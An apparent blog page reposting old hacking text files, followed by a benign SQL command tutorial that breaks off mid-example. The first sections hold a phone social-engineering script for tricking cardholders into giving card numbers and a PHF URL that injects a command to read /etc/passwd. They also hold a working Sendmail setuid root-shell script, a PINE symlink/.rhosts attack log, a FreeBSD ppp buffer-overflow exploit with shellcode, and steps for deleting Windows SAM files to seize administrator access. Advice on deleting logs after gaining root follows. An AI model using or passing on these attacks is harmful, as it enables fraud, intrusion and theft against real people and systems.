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Tuesday, 4 June 2013
How to Hack Credit Cards tutorial
WELL LETS SEE HERE, MOST THINGS I HAVE SEEN HAVE 6-10 DIGITS RIGHT? YET CREDIT CARDS HAVE AROUND 20 DIGITS, WHY? WELL ITS NOT NECESSARY OF COURSE FOR A CREDIT CARD TO HAVE THAT MANY, BUT IT DOES! EACH CARD HOLDER MUST HAVE A UNIQUE NUMBER OF COURSE THO. VISA HAS MAYBE 70 MILLION CARD HOLDERS AT THIS TIME, MASTERCARD TOO. WHICH LEADS US TO 70 MILLION AVAILABLE NUMBERS!
THERE ARE ONE HUNDERED MILLION POSIBLE COMBINATIONS OF EIGHT DIGITS,
FROM 00000000 TO 99999999. SO EIGHT DIGITS WOULD BE ENUF. TO ALLOW FER
FUTURE GROWTH, VISA COULD HAVE 9 DIDIGTS-ENUF FER ONE BILLION DIFFER
NUMBERS!
IN FACT, A VISA CARD HAS 13 DIGITS AND SOMETIMES EVEN MORE. AN AMERICAN
EXPRESS HAS 15 DIGITS. DINERS CLUB CARDS HAVE 14. CARTE BLANCHE HAS 10.
THEY ARE OBVOUSLY NOT EXPECTING BILLIONS OF CARD OWNERS WITH THOSE
DIGITS. BUT ALL THE EXTRA ONES ARE ONLY A SECRUITY DEVICE. I MEAN IF THEY
WERE 4 DIGITS EACH MOST PEOPLE WOULD HAVE NO PROBLEM GETTING THEMSELVES
3232 FAKE CREDIT CARDS!
SAY YER VISA NUMBER IS 4321 876 132 564. EACH PURCHASE MUST
BE ENTERD FROM A SALES SLIP. THE ACCOUNT NUMBER TAGS YER PURCHASE TO
YER ACCOUNT. SOMETIMES THE SALES PEOPLE GET BORED AND ENTER THE WRONG
NUMBER. THERE ARE 10 TRILLION POSSIBLE 13 DIGIT VISA NUMBERS. ONLY ABOUT 65
MILLION OF THOSE ARE WORKING ACCOUNTS!
WHICH MEANS IT IS VERY HARD TO FIND ONE. THOSE ARE SLIM ODDS TO FIND THE
NUMBER YOU COULD FILL UP A BOOK FULL OF 13 DIGIT NUMBERS. STILL YOU WOULD
NOT DUPLICATE A VISA ACCOUNT NUMBER.
THEN WE HAVE MASTERCARD OF THE QUADRILLION POSSIBLE COMBOS ONLY ABOUT
11 MILLION ARE ACTIVE ACCOUNTS. AMONG OTHER THINGS, THAT MAKES IT POSSIBLE
FER THEM TV, RADIO AND OTHER ADS TO INVITE CARD HOLDERS TO CALL UP AND
ORDER. HOW CAN THEY BE SURE THE GUY EVEN HAS A CARD?
THEY MUST BASE THERE CONFIDENCE ON THE SECURTIY OF THE KREDT-KARD #ERING
SYSTEM. IF SOMEONE CALLS UP EVEN MAKING SURE TO USE THE RIGHT NUMBER OF
DIGITS THE NUMBER WILL SURLEY NOT EXIST. TO BE PRACTICAL THE ONLY WAY TO
GET A CREDIT CARD NUMBER IS TO GET IT RIGHT OFF THE PLASTIC CARD.
SO HOW DO I GET THE CREDIT CARD NUMBERS YOU ASK? THERE ARE TWO VERY
EASY WAYS THAT YOU CAN USE ANYTIME, ONE IS GETTING IT OFF THE OLD COPY
THAT WUZ RUN OFF IN THE STORE, SO IF THEY DONT THROW THE COPYS AWAY PICK
THEM UP AND ITS YERS..THEN YOU CAN ALSO DO THIS VERY SIMPLE TRICK OVER
THE PHONE:
YOU: THIS IS BANK 1. WE ARE CALLING TO TELL YOU THAT THE CREDIT LIMIT ON YER
MASTERCARD HAS BEEN RAISED TO TWELVE HUNDRED DOLLARS.
PERSON: BUT MY LIMIT HAS ALWAYS BEEN 10,000 DOLLARS!!!
YOU: HMMM.. THERE MUST BE SOME ERR OR PROBLEM IN THE COMPUTERS. DO YOU
HAVE YOUR CARD HANDY? COULD YOU READ OFF THE NUMBER?
RIGHT THERE THE PERSON IS VERY WORRIED AND WANTS HIS LIMIT BACK SO OF
COURSE HE GIVES YOU THE NUMBER.
THE SIGNATURE PANEL AND MAGNETIC STRIP WILL BE COVERD IN LATER VOLUMES.
Labels:
Future Hackers
Hacking Webpages:How to hack webpages
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Hacking Webpages - Small Guide
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Well Psychotic wrote one of the most helpful unix text files in cyberspace
but with the mail that we recieved after the release of our famous 36 page
Unix Bible we realised that unix isn't for everybody so we decided that we
should write on another aspect of hacking..... Virtual Circuit and Psychotic
is proud to release, "Hacking Webpages With a few Other Techniques." We will
discuss a few various ways of hacking webpages and getting root. We are also
going to interview and question other REAL hackers on the subjects.
Getting the Password File Through FTP
Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one
little difference, it's shadowed. Shadowed password files don't let you
view or copy the actual encrypted password. This causes problems for the
password cracker and dictionary maker(both explained later in the text).
Below is another example of a shadowed password file:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.
Now that you know a little more about what the actual password file looks like
you should be able to identify a normal encrypted pw from a shadowed pw file.
We can now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system. 1.The first step that you would take is to
download or copy the file. 2. The second step is to find a password cracker and
a dictionary maker. Although it's nearly impossible to find a good cracker there
are a few ok ones out there. I recomend that you look for Cracker Jack, John the
Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or
a dictionary file... When you start a cracking prog you will be asked to find
the the password file. That's where a dictionary maker comes in. You can download
one from nearly every hacker page on the net. A dictionary maker finds all the
possible letter combinations with the alphabet that you choose(ASCII, caps,
lowercase, and numeric letters may also be added) . We will be releasing our
pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect
Drug." As far as we know it will be one of the largest in circulation. 3. You then
start up the cracker and follow the directions that it gives you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that everybody
already knows it and most servers have already found out about the bug and fixed it.
But since I have been asked questions about the phf I decided to include it.
The phf technique is by far the easiest way of getting a password file(although it
doesn't work 95% of the time). But to do the phf all you do is open a browser and
type in the following link:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to get
the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
Telnet and Exploits
Well exploits are the best way of hacking webpages but they are also more complicated
then hacking through ftp or using the phf. Before you can setup an exploit you must
first have a telnet proggie, there are many different clients you can just do a netsearch
and find everything you need.
It's best to get an account with your target(if possible) and view the glitches from
the inside out. Exploits expose errors or bugs in systems and usually allow you to gain
root access. There are many different exploits around and you can view each seperately.
I'm going to list a few below but the list of exploits is endless.
This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
and now on to another exploit. I'm going to display the pine exploit through linux.
By watching the process table with ps to see which users are running PINE, one can
then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process
table once again will now reveal when each user quits PINE or runs out of unread messages
in their INBOX, effectively deleting the respective lockfile.
Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic
example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id
as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm
/tmp/.hamors_lockfile.
This was writen by Sean B. Hamor For this example, hamors is the victim while catluvr is
the attacker:
hamors (21 19:04) litterbox:~> pine
catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4
catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
hamors (23 19:09) litterbox:~> pine
catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
now on to another one, this will be the last one that I'm going to show. Exploitation
script for the ppp vulnerbility as described by no one to date, this is NOT
FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the numbers if it doesnt
work. This is how you set it up:
#include
#include
#include
#define BUFFER_SIZE 156 /* size of the bufer to overflow */
#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */
long get_esp(void) { __asm__("movl %esp,%eax\n"); }
main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */
int i,j;
buf = malloc(4096);
/* fill start of bufer with nops */
i = BUFFER_SIZE-strlen(execshell);
memset(buf, 0x90, i);
ptr = buf + i;
/* place exploit code into the buffer */
for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
setenv("HOME", buf, 1);
execl("/usr/sbin/ppp", "ppp", NULL);
}
Now that you've gotten root "what's next?" Well the choice is up to you but I would
recommend changing the password before you delete or change anything. To change their
password all you have to do is login via telnet and login with your new account. Then
you just type: passwd and it will ask you for the old password first followed by the new
one. Now only you will have the new pw and that should last for a while you can now upload
you pages, delete all the logs and just plain do your worstJ Psychotic writes our own
exploits and we will be releasing them soon, so keep your eyes open for them. We recommend
that if you are serious about learing ethnical hacking that you download our Unix Bible.
Enjoy §:)
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Getting Administrator Access To Any Windows Above 98 With Physical Access
Getting Administrator Access To Any Windows Above 98 With Physical Access
Introduction:
This is my first guide I’ve done and hope that I can do more if I get around to it. This document can be printed, sent, copied, etc… as long as it remains complete and unaltered.
Now on to the fun…
Windows 98
This one is pretty easy, go to your start menu, search, and then files and folders. Search for “*.pwl” Without the “s of course. And delete all the files that come up after the search has completed. Restart and login under Administrator with no password. You’re in…
Windows NT, 2000, XP
I don’t know whether this works under NT or not, haven’t tried it but I figure it will work due to it being so close to Windows 2000. Anyways, start by creating a boot disk. Preferably a Windows 98 boot disk. You can get your hands on this from www.bootdisk.com. Pop that in and restart the computer off of the boot disk you have just created. Once your loaded into DOS you will have to issue “Del X:\winnt\system32\config\SAM” command. The ‘X’ in the command has to be replaced by the drive letter that the OS you‘re trying to get access to resides on. This command will delete the SAM file. This file contains all account information for the Operating System. Now restart and login under Administrator with no password. You’re in…
This step right here is for anyone using the NTFS file system. You will have to do the above steps also. But before you can you will have to get a program that lets you read your file partition in DOS. My favorite program to use is NTFSpro. You can download this program from http://ramattack.mailru.com/files/NTFSPRO.ZIP. Follow the directions that come with it to figure out how to create the boot disk correctly. After creating a boot disk with NTFSpro, pop that in if it isn’t already and restart the computer into DOS. Once in DOS, run the NTFSpro program to be able to read your file partition. After this complete the steps listed in the section above. And if all works right, login as Administrator. You’re in…
Well, that concludes my tutorial on how to get Administrator access in windows. I will be coming out with a tutorial on some more interesting things later this month. Keep a look out for anything written from me, Sadistic_Psycho…
Any comments or questions, feel free to email me at Sadistic_Psycho@phreaker.net.
Labels:
Future Hackers
SQL Server Commands tutorial with example
SQL
Structured Query
Language
content
Subject Page
Sql Select -------------------- 4
Sql Distinct -------------------- 4
Sql Where -------------------- 5
Sql And Or -------------------- 5
Sql In -------------------- 6
Sql Between -------------------- 7
Sql Like -------------------- 8
Sql Order By -------------------- 8
Sql Average -------------------- 10
Sql Count -------------------- 10
Sql Max -------------------- 11
Sql Min -------------------- 12
Sql Sum -------------------- 12
Sql Groub By -------------------- 13
Sql Having -------------------- 13
Sql Join -------------------- 14
Sql Outer Join -------------------- 15
Sql Concatenate -------------------- 16
Sql Substring -------------------- 17
Sql Trim -------------------- 18
Sql Length -------------------- 19
Sql Replace -------------------- 20
Sql Create Table -------------------- 21
Sql Not Null Constrant -------------------- 21
Sql Default Constrant -------------------- 22
Sql Unique Constrant -------------------- 22
Sql Check Constrant -------------------- 23
Sql Primary Key -------------------- 23
Sql Foreign Key -------------------- 24
Sql View -------------------- 25
Sql Create View -------------------- 26
Sql Alter Table -------------------- 27
Sql Drop Table --------------------29
Sql Truncate Table -------------------- 30
Sql Insert Unto -------------------- 30
Sql Update -------------------- 31
Sql Delete -------------------- 32
Sql Union -------------------- 33
Sql Union All -------------------- 34
Sql Intersect -------------------- 35
Sql Minus -------------------- 36
Sql Limit -------------------- 37
Sql Top -------------------- 38
Sql Subquery -------------------- 39
Sql Exists -------------------- 40
Sql Case -------------------- 42
Sql Null -------------------- 43
Sql Is Null -------------------- 43
Sql If Null -------------------- 44
Sql Nvl -------------------- 45
Sql Coalesce -------------------- 45
Sql Null If -------------------- 46
Sql Rank -------------------- 47
Sql Median -------------------- 48
Sql Runing Totals -------------------- 48
Sql Percent To Total -------------------- 49
Sql Cumulative Percent Total -------------------- 50
SQL Command
SQL SELECT :
SELECT "column_name" FROM "table_name"
To illustrate the above example, assume that we have the following table:
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
We shall use this table as an example throughout the tutorial (this table will appear in all sections). To select all the stores in this table, we key in,
SELECT store_name FROM Store_Information
Result:
store_name Los Angeles San Diego Los Angeles Boston
Multiple column names can be selected, as well as multiple table names.
SQL DISTINCT :
SELECT DISTINCT "column_name"
FROM "table_name"
For example, to select all distinct stores in Table Store_Information,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
we key in,
SELECT DISTINCT store_name FROM Store_Information
Result:
store_name Los Angeles San Diego Boston
SQL WHERE :
SELECT "column_name"
FROM "table_name"
WHERE "condition"
For example, to select all stores with sales above $1,000 in Table Store_Information,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
we key in,
SELECT store_name
FROM Store_Information
WHERE Sales > 1000
Result:
store_name Los Angeles
SQL AND OR :
SELECT "column_name" FROM "table_name" WHERE "simple condition"
{[AND|OR] "simple condition"}+
The {}+ means that the expression inside the bracket will occur one or more times. Note that AND and OR can be used interchangeably. In addition, we may use the parenthesis sign () to indicate the order of the condition.
For example, we may wish to select all stores with sales greater than $1,000 or all stores with sales less than $500 but greater than $275 in Table Store_Information,
MCA (5 )
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
we key in,
SELECT store_name
FROM Store_Information
WHERE Sales > 1000
OR (Sales < 500 AND Sales > 275)
Result:
store_name Los Angeles San Francisco
SQL IN :
SELECT "column_name"
FROM "table_name"
WHERE "column_name" IN ('value1', 'value2', ...)
The number of values in the parenthesis can be one or more, with each values separated by comma. Values can be numerical or characters. If there is only one value inside the parenthesis, this commend is equivalent to
WHERE "column_name" = 'value1'
For example, we may wish to select all records for the Los Angeles and the San Diego stores in Table Store_Information,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
we key in,
MCA (6 )
SELECT *
FROM Store_Information
WHERE store_name IN ('Los Angeles', 'San Diego')
Result:
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
SQL BETWEEN :
SELECT "column_name"
FROM "table_name"
WHERE "column_name" BETWEEN 'value1' AND 'value2'
This will select all rows whose column has a value between 'value1' and 'value2'.
For example, we may wish to select view all sales information between January 6, 1999, and January 10, 1999, in Table Store_Information,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
we key in,
SELECT *
FROM Store_Information
WHERE Date BETWEEN 'Jan-06-1999' AND 'Jan-10-1999'
Note that date may be stored in different formats in different databases. This tutorial simply choose one of the formats.
Result:
store_name Sales Date
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
MCA (7 )
SQL LIKE :
SELECT "column_name"
FROM "table_name"
WHERE "column_name" LIKE {PATTERN}
{PATTERN} often consists of wildcards. We saw several examples of wildcard matching in the previous section. Below we use an example to see how wildcard is used in conjunction with LIKE:
Table Store_Information
store_name Sales Date
LOS ANGELES $1500 Jan-05-1999
SAN DIEGO $250 Jan-07-1999
SAN FRANCISCO $300 Jan-08-1999
BOSTON $700 Jan-08-1999
We want to find all stores whose name contains 'AN'. To do so, we key in,
SELECT *
FROM Store_Information
WHERE store_name LIKE '%AN%'
Result:
store_name Sales Date
LOS ANGELES $1500 Jan-05-1999
SAN DIEGO $250 Jan-07-1999
SAN FRANCISCO $300 Jan-08-1999
SQL ORDER BY :
SELECT "column_name"
FROM "table_name"
[WHERE "condition"]
ORDER BY "column_name" [ASC, DESC]
The [] means that the WHERE statement is optional. However, if a WHERE clause exists, it comes before the ORDER BY clause. ASC means that the results will be shown in ascending order, and DESC means that the results will be shown in descending order. If neither is specified, the default is ASC.
It is possible to order by more than one column. In this case, the ORDER BY clause above becomes
ORDER BY "column_name1" [ASC, DESC], "column_name2" [ASC, DESC]
Assuming that we choose ascending order for both columns, the output will be ordered in ascending order according to column 1. If there is a tie for the value of column 1, we then sort in ascending order by column 2.
MCA (8 )
For example, we may wish to list the contents of Table Store_Information by dollar amount, in descending order:
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
we key in,
SELECT store_name, Sales, Date
FROM Store_Information
ORDER BY Sales DESC
Result:
store_name Sales Date
Los Angeles $1500 Jan-05-1999
Boston $700 Jan-08-1999
San Francisco $300 Jan-08-1999
San Diego $250 Jan-07-1999
In addition to column name, we may also use column position (based on the SQL query) to indicate which column we want to apply the ORDER BY clause. The first column is 1, second column is 2, and so on. In the above example, we will achieve the same results by the following command:
SELECT store_name, Sales, Date
FROM Store_Information
ORDER BY 2 DESC
SQL Aggregate Functions :
* AVG: Average of the column.
• COUNT: Number of records.
• MAX: Maximum of the column.
• MIN: Minimum of the column.
• SUM: Sum of the column.
MCA (9 )
SQL Average :
The syntax for using functions is,
SELECT "function type" ("column_name")
FROM "table_name"
SQL uses the AVG() function to calculate the average of a column. The syntax for using this function is,
SELECT AVG("column_name")
FROM "table_name"
For example, if we want to get the average of all sales from the following table, Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
we would type in
SELECT AVG(Sales) FROM Store_Information
Result:
AVG(Sales)
$687.5
$687.5 represents the average of all Sales entries: ($1500 + $250 + $300 + $700) / 4.
SQL Count :
This allows us to COUNT up the number of row in a certain table. The syntax is,
SELECT COUNT("column_name")
FROM "table_name"
For example, if we want to find the number of store entries in our table, Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
(10 )
MCA
we'd key in
SELECT COUNT(store_name)
FROM Store_Information
Result:
Count(store_name)
4
COUNT and DISTINCT can be used together in a statement to fetch the number of distinct entries in a table. For example, if we want to find out the number of distinct stores, we'd type,
SELECT COUNT(DISTINCT store_name)
FROM Store_Information
Result:
Count(DISTINCT store_name) 3
SQL MAX Function :
SQL uses the MAX function to find the maximum value in a column. The syntax for using the MAX function is,
SELECT MAX("column_name")
FROM "table_name"
For example, if we want to get the highest sales from the following table,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
we would type in
SELECT MAX(Sales) FROM Store_Information
Result:
MAX(Sales)
$1500
$1500 represents the maximum value of all Sales entries: $1500, $250, $300, and $700.
MCA (11 )
SQL MIN Function :
SQL uses the MIN function to find the maximum value in a column. The syntax for using the MIN function is,
SELECT MIN("column_name")
FROM "table_name"
For example, if we want to get the lowest sales from the following table,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
we would type in
SELECT MIN(Sales) FROM Store_Information
Result:
MIN(Sales)
$250
$250 represents the minimum value of all Sales entries: $1500, $250, $300, and $700.
SQL SUM Function ;
The SUM function is used to calculate the total for a column. The syntax is,
SELECT SUM("column_name")
FROM "table_name"
For example, if we want to get the sum of all sales from the following table,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
we would type in
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SELECT SUM(Sales) FROM Store_Information
Result:
SUM(Sales)
$2750
$2750 represents the sum of all Sales entries: $1500 + $250 + $300 + $700.
SQL Group By :
SELECT "column_name1", SUM("column_name2")
FROM "table_name"
GROUP BY "column_name1"
Let's illustrate using the following table,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
We want to find total sales for each store. To do so, we would key in,
SELECT store_name, SUM(Sales)
FROM Store_Information
GROUP BY store_name
Result:
store_name SUM(Sales) Los Angeles $1800
San Diego $250
Boston> $700
The GROUP BY keyword is used when we are selecting multiple columns from a table (or tables) and at least one arithmetic operator appears in the SELECT statement. When that happens, we need to GROUP BY all the other selected columns, i.e., all columns except the one(s) operated on by the arithmetic operator.
SQL HAVING :
Another thing people may want to do is to limit the output based on the corresponding sum (or any other aggregate functions). For example, we might want to see only the stores with sales over $1,500. Instead of using the WHERE clause in the SQL statement, though, we need to use the HAVING clause, which is reserved for aggregate functions. The HAVING clause is typically placed near the end of the SQL statement, and a SQL statement with the HAVING clause may or may not include the GROUP BY clause. The syntax for HAVING is,
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SELECT "column_name1", SUM("column_name2")
FROM "table_name"
GROUP BY "column_name1"
HAVING (arithmetic function condition)
Note: the GROUP BY clause is optional.
In our example, table Store_Information,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
we would type,
SELECT store_name, SUM(sales)
FROM Store_Information
GROUP BY store_name
HAVING SUM(sales) > 1500
Result:
store_name SUM(Sales)
Los Angeles $1800
SQL Join :
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
and we want to find out sales by region. We see that table Geography includes information on regions and stores, and table Store_Information contains sales information for each store. To get the sales information by region, we have to combine the information from the
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two tables. Examining the two tables, we find that they are linked via the common field, "store_name". We will first present the SQL statement and explain the use of each segment later:
SELECT A1.region_name REGION, SUM(A2.Sales) SALES
FROM Geography A1, Store_Information A2
WHERE A1.store_name = A2.store_name
GROUP BY A1.region_name
Result:
REGION SALES
East $700
West $2050
The first two lines tell SQL to select two fields, the first one is the field "region_name" from table Geography (aliased as REGION), and the second one is the sum of the field "Sales" from table Store_Information (aliased as SALES). Notice how the table aliases are used here: Geography is aliased as A1, and Store_Information is aliased as A2. Without the aliasing, the first line would become
SELECT Geography.region_name REGION, SUM(Store_Information.Sales) SALES
which is much more cumbersome. In essence, table aliases make the entire SQL statement easier to understand, especially when multiple tables are included.
Next, we turn our attention to line 3, the WHERE statement. This is where the condition of the join is specified. In this case, we want to make sure that the content in "store_name" in table Geography matches that in table Store_Information, and the way to do it is to set them equal. This WHERE statement is essential in making sure you get the correct output. Without the correct WHERE statement, a Cartesian Join will result. Cartesian joins will result in the query returning every possible combination of the two (or whatever the number of tables in the FROM statement) tables. In this case, a Cartesian join would result in a total of 4 x 4 = 16 rows being returned.
SQL Outer Join :
Previously, we had looked at left join, or inner join, where we select rows common to the participating tables to a join. What about the cases where we are interested in selecting elements in a table regardless of whether they are present in the second table? We will now need to use the SQL OUTER JOIN command.
The syntax for performing an outer join in SQL is database-dependent. For example, in Oracle, we will place an "(+)" in the WHERE clause on the other side of the table for which we want to include all the rows.
Let's assume that we have the following two tables,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
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Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
and we want to find out the sales amount for all of the stores. If we do a regular join, we will not be able to get what we want because we will have missed "New York," since it does not appear in the Store_Information table. Therefore, we need to perform an outer join on the two tables above:
SELECT A1.store_name, SUM(A2.Sales) SALES
FROM Geography A1, Store_Information A2
WHERE A1.store_name = A2.store_name (+)
GROUP BY A1.store_name
Note that in this case, we are using the Oracle syntax for outer join.
Result:
store_name SALES Boston $700 New York
Los Angeles $1800 San Diego $250
Note: NULL is returned when there is no match on the second table. In this case, "New York" does not appear in the table Store_Information, thus its corresponding "SALES" column is NULL.
SQL Concatenate :
Sometimes it is necessary to combine together (concatenate) the results from several different fields. Each database provides a way to do this:
• MySQL: CONCAT()
• Oracle: CONCAT(), ||
• SQL Server: +
The syntax for CONCAT() is as follows:
CONCAT(str1, str2, str3, ...): Concatenate str1, str2, str3, and any other strings together. Please note the Oracle CONCAT() function only allows two arguments -- only two strings can be put together at a time using this function. However, it is possible to concatenate more than two strings at a time in Oracle using '||'.
Let's look at some examples. Assume we have the following table:
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Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
Example 1:
MySQL/Oracle:
SELECT CONCAT(region_name,store_name) FROM Geography
WHERE store_name = 'Boston';
Result:
'EastBoston'
Example 2:
Oracle:
SELECT region_name || ' ' || store_name FROM Geography
WHERE store_name = 'Boston';
Result:
'East Boston'
Example 3:
SQL Server:
SELECT region_name + ' ' + store_name FROM Geography
WHERE store_name = 'Boston';
Result:
'East Boston'
SQL Substring :
The Substring function in SQL is used to grab a portion of the stored data. This function is called differently for the different databases:
• MySQL: SUBSTR(), SUBSTRING()
• Oracle: SUBSTR()
• SQL Server: SUBSTRING()
The most frequent uses are as follows (we will use SUBSTR() here):
SUBSTR(str,pos): Select all characters from starting with position . Note that this syntax is not supported in SQL Server.
SUBSTR(str,pos,len): Starting with the th character in string and select the next characters.
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Assume we have the following table:
Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
Example 1:
SELECT SUBSTR(store_name, 3)
